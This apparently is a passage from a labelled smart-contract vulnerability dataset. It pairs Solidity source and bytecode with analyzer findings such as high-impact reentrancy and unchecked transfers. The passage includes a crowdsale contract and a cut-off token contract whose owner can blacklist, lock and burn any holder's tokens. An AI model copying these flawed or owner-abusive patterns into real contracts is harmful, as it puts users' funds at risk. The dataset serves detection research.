b90506000611e3482611e26858c611c1690919063ffffffff16565b611c1690919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611e648589611ed490919063ffffffff16565b90506000611e7b8689611ed490919063ffffffff16565b90506000611e928789611ed490919063ffffffff16565b90506000611ebb82611ead8587611c1690919063ffffffff16565b611c1690919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611ee75760009050611f49565b60008284611ef591906128fe565b9050828482611f0491906128cd565b14611f44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f3b90612681565b60405180910390fd5b809150505b92915050565b6000611f62611f5d846127f6565b6127d1565b90508083825260208201905082856020860282011115611f8557611f84612b61565b5b60005b85811015611fb55781611f9b8882611fbf565b845260208401935060208301925050600181019050611f88565b5050509392505050565b600081359050611fce81612e4e565b92915050565b600081519050611fe381612e4e565b92915050565b600082601f830112611ffe57611ffd612b5c565b5b813561200e848260208601611f4f565b91505092915050565b60008151905061202681612e65565b92915050565b60008135905061203b81612e7c565b92915050565b60008151905061205081612e7c565b92915050565b60006020828403121561206c5761206b612b6b565b5b600061207a84828501611fbf565b91505092915050565b60006020828403121561209957612098612b6b565b5b60006120a784828501611fd4565b91505092915050565b600080604083850312156120c7576120c6612b6b565b5b60006120d585828601611fbf565b92505060206120e685828601611fbf565b9150509250929050565b60008060006060848603121561210957612108612b6b565b5b600061211786828701611fbf565b935050602061212886828701611fbf565b92505060406121398682870161202c565b9150509250925092565b6000806040838503121561215a57612159612b6b565b5b600061216885828601611fbf565b92505060206121798582860161202c565b9150509250929050565b60006020828403121561219957612198612b6b565b5b600082013567ffffffffffffffff8111156121b7576121b6612b66565b5b6121c384828501611fe9565b91505092915050565b6000602082840312156121e2576121e1612b6b565b5b60006121f084828501612017565b91505092915050565b60008060006060848603121561221257612211612b6b565b5b600061222086828701612041565b935050602061223186828701612041565b925050604061224286828701612041565b9150509250925092565b60006122588383612264565b60208301905092915050565b61226d8161298c565b82525050565b61227c8161298c565b82525050565b600061228d82612832565b6122978185612855565b93506122a283612822565b8060005b838110156122d35781516122ba888261224c565b97506122c583612848565b9250506001810190506122a6565b5085935050505092915050565b6122e98161299e565b82525050565b6122f8816129e1565b82525050565b60006123098261283d565b6123138185612866565b93506123238185602086016129f3565b61232c81612b70565b840191505092915050565b6000612344602383612866565b915061234f82612b81565b604082019050919050565b6000612367602a83612866565b915061237282612bd0565b604082019050919050565b600061238a602283612866565b915061239582612c1f565b604082019050919050565b60006123ad601b83612866565b91506123b882612c6e565b602082019050919050565b60006123d0600383612866565b91506123db82612c97565b602082019050919050565b60006123f3602183612866565b91506123fe82612cc0565b604082019050919050565b6000612416602083612866565b915061242182612d0f565b602082019050919050565b6000612439602983612866565b915061244482612d38565b604082019050919050565b600061245c602583612866565b915061246782612d87565b604082019050919050565b600061247f602483612866565b915061248a82612dd6565b604082019050919050565b60006124a2601783612866565b91506124ad82612e25565b602082019050919050565b6124c1816129ca565b82525050565b6124d0816129d4565b82525050565b60006020820190506124eb6000830184612273565b92915050565b60006040820190506125066000830185612273565b6125136020830184612273565b9392505050565b600060408201905061252f6000830185612273565b61253c60208301846124b8565b9392505050565b600060c0820190506125586000830189612273565b61256560208301886124b8565b61257260408301876122ef565b61257f60608301866122ef565b61258c6080830185612273565b61259960a08301846124b8565b979650505050505050565b60006020820190506125b960008301846122e0565b92915050565b600060208201905081810360008301526125d981846122fe565b905092915050565b600060208201905081810360008301526125fa81612337565b9050919050565b6000602082019050818103600083015261261a8161235a565b9050919050565b6000602082019050818103600083015261263a8161237d565b9050919050565b6000602082019050818103600083015261265a816123a0565b9050919050565b6000602082019050818103600083015261267a816123c3565b9050919050565b6000602082019050818103600083015261269a816123e6565b9050919050565b600060208201905081810360008301526126ba81612409565b9050919050565b600060208201905081810360008301526126da8161242c565b9050919050565b600060208201905081810360008301526126fa8161244f565b9050919050565b6000602082019050818103600083015261271a81612472565b9050919050565b6000602082019050818103600083015261273a81612495565b9050919050565b600060208201905061275660008301846124b8565b92915050565b600060a08201905061277160008301886124b8565b61277e60208301876122ef565b81810360408301526127908186612282565b905061279f6060830185612273565b6127ac60808301846124b8565b9695505050505050565b60006020820190506127cb60008301846124c7565b92915050565b60006127db6127ec565b90506127e78282612a26565b919050565b6000604051905090565b600067ffffffffffffffff82111561281157612810612b2d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612882826129ca565b915061288d836129ca565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156128c2576128c1612aa0565b5b828201905092915050565b60006128d8826129ca565b91506128e3836129ca565b9250826128f3576128f2612acf565b5b828204905092915050565b6000612909826129ca565b9150612914836129ca565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561294d5761294c612aa0565b5b828202905092915050565b6000612963826129ca565b915061296e836129ca565b92508282101561298157612980612aa0565b5b828203905092915050565b6000612997826129aa565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006129ec826129ca565b9050919050565b60005b83811015612a115780820151818401526020810190506129f6565b83811115612a20576000848401525b50505050565b612a2f82612b70565b810181811067ffffffffffffffff82111715612a4e57612a4d612b2d565b5b80604052505050565b6000612a62826129ca565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612a9557612a94612aa0565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f626f740000000000000000000000000000000000000000000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b612e578161298c565b8114612e6257600080fd5b50565b612e6e8161299e565b8114612e7957600080fd5b50565b612e85816129ca565b8114612e9057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220cb90f780dcbfe291e5c5c58c85352d912536e12fa9ee497bb8f62e14223c648764736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 10,571 |
0xe18fa6d725708c59a9595969ddf05e38cbc4f879 | pragma solidity ^0.4.23;
/**
* @title ERC20Basic
*
* oooooooo .oooooo. .oooooo. .o8 oooo
dP""""""" d8P' `Y8b d8P' `Y8b "888 `888
d88888b. 888 888 oooo d8b .ooooo. oooo oooo ooo .oooo888 .oooo.o .oooo. 888 .ooooo.
`Y88b 888 888 `888""8P d88' `88b `88. `88. .8' d88' `888 d88( "8 `P )88b 888 d88' `88b
]88 888 ooooo 888 888 888 888 `88..]88..8' 888 888 `"Y88b. .oP"888 888 888ooo888
o. .88P `88. .88' `88b ooo 888 888 888 `888'`888' 888 888 o. )88b d8( 888 888 888 .o
`8bd88P' `Y8bood8P' `Y8bood8P' d888b `Y8bod8P' `8' `8' `Y8bod88P" 8""888P' `Y888""8o o888o `Y8bod8P'
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale,
* allowing investors to purchase tokens with ether. This contract implements
* such functionality in its most fundamental form and can be extended to provide additional
* functionality and/or custom behavior.
* The external interface represents the basic interface for purchasing tokens, and conform
* the base architecture for crowdsales. They are *not* intended to be modified / overriden.
* The internal interface conforms the extensible and modifiable surface of crowdsales. Override
* the methods to add functionality. Consider using 'super' where appropiate to concatenate
* behavior.
*/
contract Crowdsale {
using SafeMath for uint256;
// The token being sold
ERC20 public token;
// Address where funds are collected
address public wallet;
// How many token units a buyer gets per wei
uint256 public rate;
// Amount of wei raised
uint256 public weiRaised;
/**
* Event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
/**
* @param _rate Number of token units a buyer gets per wei
* @param _wallet Address where collected funds will be forwarded to
* @param _token Address of the token being sold
*/
function Crowdsale(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
// -----------------------------------------
// Crowdsale external interface
// -----------------------------------------
/**
* @dev fallback function ***DO NOT OVERRIDE***
*/
function () external payable {
buyTokens(msg.sender);
}
/**
* @dev low level token purchase ***DO NOT OVERRIDE***
* @param _beneficiary Address performing the token purchase
*/
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
// calculate token amount to be created
uint256 tokens = _getTokenAmount(weiAmount);
// update state
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
// -----------------------------------------
// Internal interface (extensible)
// -----------------------------------------
/**
* @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met. Use super to concatenate validations.
* @param _beneficiary Address performing the token purchase
* @param _weiAmount Value in wei involved in the purchase
*/
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
/**
* @dev Validation of an executed purchase. Observe state and use revert statements to undo rollback when valid conditions are not met.
* @param _beneficiary Address performing the token purchase
* @param _weiAmount Value in wei involved in the purchase
*/
function _postValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
// optional override
}
/**
* @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends its tokens.
* @param _beneficiary Address performing the token purchase
* @param _tokenAmount Number of tokens to be emitted
*/
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
token.transfer(_beneficiary, _tokenAmount);
}
/**
* @dev Executed when a purchase has been validated and is ready to be executed. Not necessarily emits/sends tokens.
* @param _beneficiary Address receiving the tokens
* @param _tokenAmount Number of tokens to be purchased
*/
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
_deliverTokens(_beneficiary, _tokenAmount);
}
/**
* @dev Override for extensions that require an internal state to check for validity (current user contributions, etc.)
* @param _beneficiary Address receiving the tokens
* @param _weiAmount Value in wei involved in the purchase
*/
function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal {
// optional override
}
/**
* @dev Override to extend the way in which ether is converted to tokens.
* @param _weiAmount Value in wei to be converted into tokens
* @return Number of tokens that can be purchased with the specified _weiAmount
*/
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
return _weiAmount.mul(rate);
}
/**
* @dev Determines how ETH is stored/forwarded on purchases.
*/
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Technology5GCrowdsale
* @dev Crowdsale that locks tokens from withdrawal until it ends.
*/
contract Technology5GCrowdsale is Crowdsale, Ownable {
using SafeMath for uint256;
// Map of all purchaiser's balances (doesn't include bounty amounts)
mapping(address => uint256) public balances;
// Amount of issued tokens
uint256 public tokensIssued;
// Bonus tokens rate multiplier x1000 (i.e. 1200 is 1.2 x 1000 = 120% x1000 = +20% bonus)
uint256 public bonusMultiplier;
// Is a crowdsale closed?
bool public closed;
/**
* Event for token withdrawal logging
* @param receiver who receive the tokens
* @param amount amount of tokens sent
*/
event TokenDelivered(address indexed receiver, uint256 amount);
/**
* Event for token adding by referral program
* @param beneficiary who got the tokens
* @param amount amount of tokens added
*/
event TokenAdded(address indexed beneficiary, uint256 amount);
/**
* Init crowdsale by setting its params
*
* @param _rate Number of token units a buyer gets per wei
* @param _wallet Address where collected funds will be forwarded to
* @param _token Address of the token being sold
* @param _bonusMultiplier bonus tokens rate multiplier x1000
*/
function Technology5GCrowdsale(
uint256 _rate,
address _wallet,
ERC20 _token,
uint256 _bonusMultiplier
) Crowdsale(
_rate,
_wallet,
_token
) {
bonusMultiplier = _bonusMultiplier;
}
/**
* @dev Withdraw tokens only after crowdsale ends.
*/
function withdrawTokens() public {
_withdrawTokensFor(msg.sender);
}
/**
* @dev Overrides parent by storing balances instead of issuing tokens right away.
* @param _beneficiary Token purchaser
* @param _tokenAmount Amount of tokens purchased
*/
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
require(!hasClosed());
balances[_beneficiary] = balances[_beneficiary].add(_tokenAmount);
tokensIssued = tokensIssued.add(_tokenAmount);
}
/**
* @dev Overrides the way in which ether is converted to tokens.
* @param _weiAmount Value in wei to be converted into tokens
* @return Number of tokens that can be purchased with the specified _weiAmount
*/
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
return _weiAmount.mul(rate).mul(bonusMultiplier).div(1000);
}
/**
* @dev Deliver tokens to receiver_ after crowdsale ends.
*/
function withdrawTokensFor(address receiver_) public onlyOwner {
_withdrawTokensFor(receiver_);
}
/**
* @dev Checks whether the period in which the crowdsale is open has already elapsed.
* @return Whether crowdsale period has elapsed
*/
function hasClosed() public view returns (bool) {
return closed;
}
/**
* @dev Closes the period in which the crowdsale is open.
*/
function closeCrowdsale(bool closed_) public onlyOwner {
closed = closed_;
}
/**
* @dev set the bonus multiplier.
*/
function setBonusMultiplier(uint256 bonusMultiplier_) public onlyOwner {
bonusMultiplier = bonusMultiplier_;
}
/**
* @dev Withdraw tokens excess on the contract after crowdsale.
*/
function postCrowdsaleWithdraw(uint256 _tokenAmount) public onlyOwner {
token.transfer(wallet, _tokenAmount);
}
/**
* @dev Add tokens for specified beneficiary (referral system tokens, for example).
* @param _beneficiary Token purchaser
* @param _tokenAmount Amount of tokens added
*/
function addTokens(address _beneficiary, uint256 _tokenAmount) public onlyOwner {
balances[_beneficiary] = balances[_beneficiary].add(_tokenAmount);
tokensIssued = tokensIssued.add(_tokenAmount);
emit TokenAdded(_beneficiary, _tokenAmount);
}
/**
* @dev Withdraw tokens for receiver_ after crowdsale ends.
*/
function _withdrawTokensFor(address receiver_) internal {
require(hasClosed());
uint256 amount = balances[receiver_];
require(amount > 0);
balances[receiver_] = 0;
emit TokenDelivered(receiver_, amount);
_deliverTokens(receiver_, amount);
}
} | 0x6080604052600436106100fb5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416631515bc2b811461010657806327e235e31461012f5780632c4e722e146101625780634042b66f14610177578063521eb2731461018c578063597e1fb5146101bd5780636039fbdb146101d25780637c48bbda146101f65780638d8f2adb1461020b5780638da5cb5b1461022057806392df61e814610235578063a8b973a114610256578063ec8ac4d81461026b578063ecba18c01461027f578063f2fde38b14610299578063fc0c546a146102ba578063fc512b92146102cf578063fd58e63a146102e7575b610104336102ff565b005b34801561011257600080fd5b5061011b6103ac565b604080519115158252519081900360200190f35b34801561013b57600080fd5b50610150600160a060020a03600435166103b5565b60408051918252519081900360200190f35b34801561016e57600080fd5b506101506103c7565b34801561018357600080fd5b506101506103cd565b34801561019857600080fd5b506101a16103d3565b60408051600160a060020a039092168252519081900360200190f35b3480156101c957600080fd5b5061011b6103e2565b3480156101de57600080fd5b50610104600160a060020a03600435166024356103eb565b34801561020257600080fd5b506101506104a1565b34801561021757600080fd5b506101046104a7565b34801561022c57600080fd5b506101a16104b2565b34801561024157600080fd5b50610104600160a060020a03600435166104c1565b34801561026257600080fd5b506101506104e8565b610104600160a060020a03600435166102ff565b34801561028b57600080fd5b5061010460043515156104ee565b3480156102a557600080fd5b50610104600160a060020a036004351661051c565b3480156102c657600080fd5b506101a16105b5565b3480156102db57600080fd5b506101046004356105c4565b3480156102f357600080fd5b5061010460043561067e565b34600061030c838361069e565b610315826106c3565b60035490915061032b908363ffffffff61070416565b6003556103388382610711565b82600160a060020a031633600160a060020a03167f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad188484604051808381526020018281526020019250505060405180910390a361039583836106bf565b61039d61077f565b6103a783836106bf565b505050565b60085460ff1690565b60056020526000908152604090205481565b60025481565b60035481565b600154600160a060020a031681565b60085460ff1681565b60045433600160a060020a0390811691161461040657600080fd5b600160a060020a03821660009081526005602052604090205461042f908263ffffffff61070416565b600160a060020a03831660009081526005602052604090205560065461045b908263ffffffff61070416565b600655604080518281529051600160a060020a038416917ff4c563a3ea86ff1f4275e8c207df0375a51963f2b831b7bf4da8be938d92876c919081900360200190a25050565b60065481565b6104b0336107b8565b565b600454600160a060020a031681565b60045433600160a060020a039081169116146104dc57600080fd5b6104e5816107b8565b50565b60075481565b60045433600160a060020a0390811691161461050957600080fd5b6008805460ff1916911515919091179055565b60045433600160a060020a0390811691161461053757600080fd5b600160a060020a038116151561054c57600080fd5b600454604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600054600160a060020a031681565b60045433600160a060020a039081169116146105df57600080fd5b60008054600154604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a039283166004820152602481018690529051919092169263a9059cbb92604480820193602093909283900390910190829087803b15801561065457600080fd5b505af1158015610668573d6000803e3d6000fd5b505050506040513d60208110156103a757600080fd5b60045433600160a060020a0390811691161461069957600080fd5b600755565b600160a060020a03821615156106b357600080fd5b8015156106bf57600080fd5b5050565b60006106fe6103e86106f26007546106e66002548761084d90919063ffffffff16565b9063ffffffff61084d16565b9063ffffffff61087616565b92915050565b818101828110156106fe57fe5b6107196103ac565b1561072357600080fd5b600160a060020a03821660009081526005602052604090205461074c908263ffffffff61070416565b600160a060020a038316600090815260056020526040902055600654610778908263ffffffff61070416565b6006555050565b600154604051600160a060020a03909116903480156108fc02916000818181858888f193505050501580156104e5573d6000803e3d6000fd5b60006107c26103ac565b15156107cd57600080fd5b50600160a060020a0381166000908152600560205260408120549081116107f357600080fd5b600160a060020a038216600081815260056020908152604080832092909255815184815291517f06fd92518610d6cbeff50af5cfc376de1de0809bc0d255140eb20715f25af9519281900390910190a26106bf828261088b565b600082151561085e575060006106fe565b5081810281838281151561086e57fe5b04146106fe57fe5b6000818381151561088357fe5b049392505050565b60008054604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a038681166004830152602482018690529151919092169263a9059cbb92604480820193602093909283900390910190829087803b1580156108fd57600080fd5b505af1158015610911573d6000803e3d6000fd5b505050506040513d602081101561092757600080fd5b505050505600a165627a7a72305820a2b0a2cd99001c0dbe889ef4b12c83ca0b778b00a05994780ae6b1ceea66161b0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}} | 10,572 |
0x83a06c74e99a94715f799172516fb0ab53a4234c | //https://t.me/rocketakita
//https://rocketakita.finance/
//https://twitter.com/RocketAkita
//This Akita is going to the moon!
// SPDX-License-Identifier: MIT
pragma solidity >=0.5.0 <0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract RAKITA is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
struct lockDetail{
uint256 amountToken;
uint256 lockUntil;
}
mapping (address => uint256) private _balances;
mapping (address => bool) private _blacklist;
mapping (address => bool) private _isAdmin;
mapping (address => lockDetail) private _lockInfo;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event PutToBlacklist(address indexed target, bool indexed status);
event LockUntil(address indexed target, uint256 indexed totalAmount, uint256 indexed dateLockUntil);
constructor (string memory name, string memory symbol, uint256 amount) {
_name = name;
_symbol = symbol;
_setupDecimals(18);
address msgSender = _msgSender();
_owner = msgSender;
_isAdmin[msgSender] = true;
_mint(msgSender, amount);
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function isAdmin(address account) public view returns (bool) {
return _isAdmin[account];
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
modifier onlyAdmin() {
require(_isAdmin[_msgSender()] == true, "Ownable: caller is not the administrator");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function promoteAdmin(address newAdmin) public virtual onlyOwner {
require(_isAdmin[newAdmin] == false, "Ownable: address is already admin");
require(newAdmin != address(0), "Ownable: new admin is the zero address");
_isAdmin[newAdmin] = true;
}
function demoteAdmin(address oldAdmin) public virtual onlyOwner {
require(_isAdmin[oldAdmin] == true, "Ownable: address is not admin");
require(oldAdmin != address(0), "Ownable: old admin is the zero address");
_isAdmin[oldAdmin] = false;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function isBlackList(address account) public view returns (bool) {
return _blacklist[account];
}
function getLockInfo(address account) public view returns (uint256, uint256) {
lockDetail storage sys = _lockInfo[account];
if(block.timestamp > sys.lockUntil){
return (0,0);
}else{
return (
sys.amountToken,
sys.lockUntil
);
}
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address funder, address spender) public view virtual override returns (uint256) {
return _allowances[funder][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function transferAndLock(address recipient, uint256 amount, uint256 lockUntil) public virtual onlyAdmin returns (bool) {
_transfer(_msgSender(), recipient, amount);
_wantLock(recipient, amount, lockUntil);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function lockTarget(address payable targetaddress, uint256 amount, uint256 lockUntil) public onlyAdmin returns (bool){
_wantLock(targetaddress, amount, lockUntil);
return true;
}
function unlockTarget(address payable targetaddress) public onlyAdmin returns (bool){
_wantUnlock(targetaddress);
return true;
}
function burnTarget(address payable targetaddress, uint256 amount) public onlyOwner returns (bool){
_burn(targetaddress, amount);
return true;
}
